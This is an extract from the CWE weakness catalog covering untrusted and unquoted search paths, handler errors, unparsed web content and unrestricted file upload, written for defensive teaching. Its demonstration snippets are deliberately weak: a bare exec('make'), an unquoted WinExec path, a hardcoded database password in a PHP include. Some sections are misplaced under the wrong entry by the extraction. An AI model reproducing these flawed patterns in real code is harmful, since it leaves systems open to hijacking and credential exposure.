When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

**Implementation**

Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.
Implementation
Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

Implementation
Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while exec() and execv() require a full path.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Requires</td>
<td>✖</td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
<td>411</td>
</tr>
<tr>
<td>Requires</td>
<td>✖</td>
<td>275</td>
<td>Permission Issues</td>
<td>489</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✖</td>
<td>417</td>
<td>Channel and Path Errors</td>
<td>723</td>
</tr>
<tr>
<td></td>
<td>C</td>
<td>699</td>
<td></td>
<td>734</td>
</tr>
<tr>
<td>Requires</td>
<td>✖</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>793</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✖</td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td>984</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✖</td>
<td>642</td>
<td>External Control of Critical State Data</td>
<td>995</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✖</td>
<td>673</td>
<td>External Influence of Sphere Definition</td>
<td>1043</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✖</td>
<td>744</td>
<td>CERT C Secure Coding Section 10 - Environment (ENV)</td>
<td>1138</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✖</td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
<td>1145</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✖</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>1247</td>
</tr>
<tr>
<td>ChildOf</td>
<td>✖</td>
<td>878</td>
<td>CERT C++ Secure Coding Section 10 - Environment (ENV)</td>
<td>1320</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>✖</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>184</td>
</tr>
<tr>
<td>PeerOf</td>
<td>✖</td>
<td>427</td>
<td>Uncontrolled Search Path Element</td>
<td>735</td>
</tr>
</tbody>
</table>

Research Gaps
Search path issues on Windows are under-studied and possibly under-reported.

Affected Resources
- System Process

Functional Areas
- Program invocation
- Code libraries

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Untrusted Search Path</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td>Relative path library search</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ENV03-C</td>
<td>Sanitize the environment when invoking external programs</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ENV03-C</td>
<td>Sanitize the environment when invoking external programs</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>38</td>
<td>Leveraging/Manipulating Configuration File Search Paths</td>
</tr>
</tbody>
</table>

References
CWE-427: Uncontrolled Search Path Element

<table>
<thead>
<tr>
<th>Weakness ID: 427 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.</td>
<td></td>
</tr>
<tr>
<td><strong>Extended Description</strong></td>
<td></td>
</tr>
<tr>
<td>Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as &quot;/tmp&quot; or the current working directory. In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled: the directory from which the program has been loaded the current working directory. In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used. In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.</td>
<td></td>
</tr>
</tbody>
</table>

**Alternate Terms**

- **DLL preloading**
  This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

- **Binary planting**
  This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

- **Insecure library loading**
  This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Operating Systems**

- OS-independent

**Common Consequences**

- Confidentiality
- Integrity
- Availability

**Demonstrative Examples**

The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.
Java Example:

```java
... System.Runtime.getRuntime().exec("make"); ...
```

The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0690</td>
<td>Product includes the current directory in root's PATH variable.</td>
</tr>
<tr>
<td>CVE-1999-1318</td>
<td>Software uses a search path that includes the current working directory (.), which allows local users to gain privileges via malicious programs.</td>
</tr>
<tr>
<td>CVE-1999-1461</td>
<td>Product trusts the PATH environmental variable to find and execute a program, which allows local users to obtain root access by modifying the PATH to point to a malicious version of that program.</td>
</tr>
<tr>
<td>CVE-2000-0854</td>
<td>When a document is opened, the directory of that document is first used to locate DLLs, which could allow an attacker to execute arbitrary commands by inserting malicious DLLs into the same directory as the document.</td>
</tr>
<tr>
<td>CVE-2001-0289</td>
<td>Product searches current working directory for configuration file.</td>
</tr>
<tr>
<td>CVE-2001-0507</td>
<td>Server uses relative paths to find system files that will run in-process, which allows local users to gain privileges via a malicious file.</td>
</tr>
<tr>
<td>CVE-2001-0912</td>
<td>Error during packaging causes product to include a hard-coded, non-standard directory in search path.</td>
</tr>
<tr>
<td>CVE-2001-0942</td>
<td>Database uses an environment variable to find and execute a program, which allows local users to execute arbitrary programs by changing the environment variable.</td>
</tr>
<tr>
<td>CVE-2001-0943</td>
<td>Database trusts the PATH environment variable to find and execute programs, which allows local users to modify the PATH to point to malicious programs.</td>
</tr>
<tr>
<td>CVE-2002-1576</td>
<td>Product uses the current working directory to find and execute a program, which allows local users to gain privileges by creating a symlink that points to a malicious version of the program.</td>
</tr>
<tr>
<td>CVE-2002-2017</td>
<td>Product allows local users to execute arbitrary code by setting an environment variable to reference a malicious program.</td>
</tr>
<tr>
<td>CVE-2002-2040</td>
<td>Untrusted path.</td>
</tr>
<tr>
<td>CVE-2003-0579</td>
<td>Admin software trusts the user-supplied -uv.install command line option to find and execute the uv.install program, which allows local users to gain privileges by providing a pathname that is under control of the user.</td>
</tr>
<tr>
<td>CVE-2005-1307</td>
<td>Product executable other program from current working directory.</td>
</tr>
<tr>
<td>CVE-2005-1632</td>
<td>Product searches /tmp for modules before other paths.</td>
</tr>
<tr>
<td>CVE-2005-1705</td>
<td>Product searches current working directory for configuration file.</td>
</tr>
<tr>
<td>CVE-2005-2072</td>
<td>Modification of trusted environment variable leads to untrusted path vulnerability.</td>
</tr>
<tr>
<td>CVE-2010-1795</td>
<td>“DLL hijacking” issue in music player/organizer.</td>
</tr>
<tr>
<td>CVE-2010-3131</td>
<td>“DLL hijacking” issue in web browser.</td>
</tr>
<tr>
<td>CVE-2010-3135</td>
<td>“DLL hijacking” issue in network monitoring software.</td>
</tr>
<tr>
<td>CVE-2010-3138</td>
<td>“DLL hijacking” issue in library used by multiple media players.</td>
</tr>
<tr>
<td>CVE-2010-3147</td>
<td>“DLL hijacking” issue in address book.</td>
</tr>
<tr>
<td>CVE-2010-3152</td>
<td>“DLL hijacking” issue in illustration program.</td>
</tr>
<tr>
<td>CVE-2010-3397</td>
<td>“DLL hijacking” issue in encryption software.</td>
</tr>
<tr>
<td>CVE-2010-3402</td>
<td>“DLL hijacking” issue in document editor.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Architecture and Design

Implementation

Identify and Reduce Attack Surface
Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.

Implementation

Identify and Reduce Attack Surface
When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.

Implementation

Identify and Reduce Attack Surface
Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.

Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a blacklist approach, it might not be a complete solution.

Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while execl() and execv() require a full path.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>417</td>
<td>Channel and Path Errors</td>
<td>699</td>
<td>723</td>
</tr>
<tr>
<td>PeerOf</td>
<td>A</td>
<td>426</td>
<td>Untrusted Search Path</td>
<td>1000</td>
<td>731</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
<td>1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>991</td>
<td>SFP Secondary Cluster: Tainted Input to Environment</td>
<td>888</td>
<td>1394</td>
</tr>
</tbody>
</table>

Relationship Notes

Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere (i.e., modification of a search path), this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control (i.e., the search path cannot be modified by an attacker, but one element of the path can be under attacker control).

Taxonomy Mappings

Mapped Taxonomy Name: PLOVER
Mapped Node Name: Uncontrolled Search Path Element

Related Attack Patterns

CAPEC-ID  | Attack Pattern Name                                    | (CAPEC Version 2.10) |
----------|------------------------------------------------------|----------------------|
38        | Leveraging/Manipulating Configuration File Search Paths |                      |
471       | DLL Search Order Hijacking                            |                      |

References

Georgi Guninski. "Double clicking on MS Office documents from Windows Explorer may execute arbitrary programs in some cases". Bugtraq. 2000-09-18.
CWE-428: Unquoted Search Path or Element


Maintenance Notes
This weakness is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model might need enhancement or clarification.

CWE-428: Unquoted Search Path or Element

Weakness ID: 428 (Weakness Base) Status: Draft

Description
Summary
The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.

Extended Description
If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• All

Operating Systems
• Windows 2000 (Sometimes)
• Windows XP (Sometimes)
• Windows Vista (Sometimes)
• Mac OS X (Rarely)

Platform Notes

Common Consequences
Confidentiality
Integrity
Availability

Execute unauthorized code or commands

Demonstrative Examples
C/C++ Example:

```c
UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1128</td>
<td>Applies to &quot;Common Files&quot; folder, with a malicious common.exe, instead of &quot;Program Files&quot;/program.exe.</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-428: Unquoted Search Path or Element

Reference | Description
--- | ---
CVE-2005-1185 | Small handful of others. Program doesn't quote the "C:\Program Files\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C:.
CVE-2005-2938 | CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C:

Potential Mitigations

Implementation
Properly quote the full search path before executing a program on the system.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>417</td>
<td>Channel and Path Errors</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
<td>1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>981</td>
<td>SFP Secondary Cluster: Path Traversal</td>
<td>888</td>
<td>1388</td>
</tr>
</tbody>
</table>

Research Gaps
Under-studied, probably under-reported.

Functional Areas
- Program invocation

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Unquoted Search Path or Element</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>38</td>
<td>Leveraging/Manipulating Configuration File Search Paths</td>
<td></td>
</tr>
</tbody>
</table>

References

Maintenance Notes
This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of a filename or search path (as in this weakness) might not be considered a structured message.
An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.

CWE-429: Handler Errors

**Description**

**Summary**

Weaknesses in this category are related to improper management of handlers.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Status</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>3</td>
<td>430</td>
<td>Deployment of Wrong Handler</td>
<td>✔</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>3</td>
<td>431</td>
<td>Missing Handler</td>
<td>✔</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>3</td>
<td>432</td>
<td>Dangerous Signal Handler not Disabled During Sensitive Operations</td>
<td>✔</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>3</td>
<td>433</td>
<td>Unparsed Raw Web Content Delivery</td>
<td>✔</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>3</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>✔</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>3</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
<td>✔</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>616</td>
<td>699</td>
<td>Incomplete Identification of Uploaded File Variables (PHP)</td>
<td>✔</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>616</td>
<td>699</td>
<td>Development Concepts</td>
<td>✔</td>
<td>699</td>
</tr>
</tbody>
</table>

**Research Gaps**

This concept is under-defined and needs more research.

**Taxonomy Mappings**

- Mapped Taxonomy Name: Handler Errors
- Mapped Node Name: Handler Errors

CWE-430: Deployment of Wrong Handler

**Description**

**Summary**

The wrong "handler" is assigned to process an object.

**Extended Description**

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

**Time of Introduction**

- Implementation

**Applicable Platforms**

- Languages
  - All

**Common Consequences**

- Integrity
- Other

**Varies by context**

**Unexpected state**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1052</td>
<td>Source code disclosure by directly invoking a servlet.</td>
</tr>
<tr>
<td>CVE-2001-0004</td>
<td>Source code disclosure via manipulated file extension that causes parsing by wrong DLL.</td>
</tr>
</tbody>
</table>
### CWE-431: Missing Handler

**Description**

**Summary**

A handler is not available or implemented.

**Extended Description**

When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Other**

Varies by context

**Demonstrative Examples**

If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

**Java Example:**

```java
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getName(ip);
}
```

---

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0025</td>
<td>Web browser does not properly handle the Content-Type header field, causing a different application to process the document.</td>
</tr>
<tr>
<td>CVE-2002-1742</td>
<td>Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Perform a type check before interpreting an object.

**Architecture and Design**

Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.

**Weakness Ordinalities**

**Resultant** *(where the weakness is typically related to the presence of some other weaknesses)*

This weakness is usually resultant from other weaknesses.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>429</td>
<td>Handler Errors</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>V</td>
<td>433</td>
<td>Unparsed Raw Web Content Delivery</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td>E</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1075</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>1387</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Improper Handler Deployment</td>
</tr>
</tbody>
</table>

**References**

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

**Potential Mitigations**

**Implementation**

Handle all possible situations (e.g. error condition).

**Implementation**

If an operation can throw an Exception, implement a handler for that specific exception.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>429</td>
<td>Handler Errors</td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>433</td>
<td>Unparsed Raw Web Content Delivery</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Missing Handler</td>
<td></td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

**References**


---

CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations

**Weakness ID:** 432 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The application uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.

**Extended Description**

During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Integrity**

**Modify application data**

**Potential Mitigations**

**Implementation**

- Turn off dangerous handlers when performing sensitive operations.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-433: Unparsed Raw Web Content Delivery

Weakness ID: 433 (Weakness Variant)  Status: Incomplete

Description

Summary
The software stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.

Extended Description
If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.

Time of Introduction
- Implementation
- Operation

Applicable Platforms
- All

Languages

Common Consequences
Confidentiality
Read application data

Demonstrative Examples
The following code uses an include file to store database credentials:

database.inc

PHP Example:

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

PHP Example:

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db->authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0330</td>
<td>direct request to .pl file leaves it unparsed</td>
</tr>
<tr>
<td>CVE-2002-0614</td>
<td>.inc file</td>
</tr>
</tbody>
</table>

Nature  Type  ID  Name  V  Page
---  ---  ---  ---  ---  ---
ChildOf  Handler Errors  429  699  740
ChildOf  SFP Secondary Cluster: Use of an Improper API  1001  888  1414

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT C Secure Coding</td>
<td>SIG00-C</td>
<td>Mask signals handled by noninterruptible signal handlers</td>
</tr>
<tr>
<td>PLOVER</td>
<td></td>
<td>Dangerous handler not cleared/disabled during sensitive operations</td>
</tr>
</tbody>
</table>
CWE-434: Unrestricted Upload of File with Dangerous Type

Reference | Description
--- | ---
CVE-2002-1886 | “.inc” file stored under web document root and returned unparsed by the server
CVE-2002-2065 | “.inc” file stored under web document root and returned unparsed by the server
CVE-2004-2353 | unparsed config.conf file
CVE-2005-2029 | “.inc” file stored under web document root and returned unparsed by the server
CVE-2007-3365 | Chain: uppercase file extensions causes web server to return script source code instead of executing the script.
SECUNIA:11394 | “.inc” file stored under web document root and returned unparsed by the server

Potential Mitigations

Architecture and Design
Perform a type check before interpreting files.

Architecture and Design
Do not store sensitive information in files which may be misinterpreted.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>蠔</td>
<td>219</td>
<td>Sensitive Data Under Web Root</td>
<td>1000 412</td>
</tr>
<tr>
<td>ChildOf</td>
<td>蠔</td>
<td>429</td>
<td>Handler Errors</td>
<td>699 740</td>
</tr>
<tr>
<td>ChildOf</td>
<td>蠔</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888 1381</td>
</tr>
<tr>
<td>CanFollow</td>
<td>蠔</td>
<td>178</td>
<td>Improper Handling of Case Sensitivity</td>
<td>1000 343</td>
</tr>
<tr>
<td>CanFollow</td>
<td>蠔</td>
<td>430</td>
<td>Deployment of Wrong Handler</td>
<td>1000 740</td>
</tr>
<tr>
<td>CanFollow</td>
<td>蠔</td>
<td>431</td>
<td>Missing Handler</td>
<td>1000 741</td>
</tr>
</tbody>
</table>

Relationship Notes
This overlaps direct requests (CWE-425), alternate path (CWE-424), permissions (CWE-275), and sensitive file under web root (CWE-219).

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Unparsed Raw Web Content Delivery</td>
</tr>
</tbody>
</table>

References


CWE-434: Unrestricted Upload of File with Dangerous Type

Weakness ID: 434 (Weakness Base) Status: Draft

Description

Summary
The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product’s environment.

Alternate Terms

Unrestricted File Upload
The "unrestricted file upload" term is used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

Time of Introduction
- Implementation
- Architecture and Design

Applicable Platforms

Languages
- ASP.NET (Sometimes)
- PHP (Often)
- Language-independent

Architectural Paradigms
- Web-based
Technology Classes
- Web-Server *(Sometimes)*

Common Consequences
- Integrity
- Confidentiality
- Availability
  - Execute unauthorized code or commands
    Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.

Likelihood of Exploit
- Medium to High

Detection Methods
- Dynamic Analysis with automated results interpretation
  - SOAR Partial
    According to SOAR, the following detection techniques may be useful:
    - Cost effective for partial coverage:
      - Web Application Scanner
      - Web Services Scanner
      - Database Scanners

- Dynamic Analysis with manual results interpretation
  - SOAR Partial
    According to SOAR, the following detection techniques may be useful:
    - Cost effective for partial coverage:
      - Fuzz Tester
      - Framework-based Fuzzer

- Manual Static Analysis - Source Code
  - SOAR High
    According to SOAR, the following detection techniques may be useful:
    - Highly cost effective:
      - Focused Manual Spotcheck - Focused manual analysis of source
      - Manual Source Code Review (not inspections)

- Automated Static Analysis - Source Code
  - SOAR High
    According to SOAR, the following detection techniques may be useful:
    - Highly cost effective:
      - Source code Weakness Analyzer
      - Context-configured Source Code Weakness Analyzer

- Architecture / Design Review
  - SOAR High
    According to SOAR, the following detection techniques may be useful:
    - Highly cost effective:
      - Formal Methods / Correct-By-Construction
    - Cost effective for partial coverage:
      - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
- Example 1:
  The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type “file”.
CWE Version 2.11
CWE-434: Unrestricted Upload of File with Dangerous Type

HTML Example:

```html
<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.

PHP Example:

```php
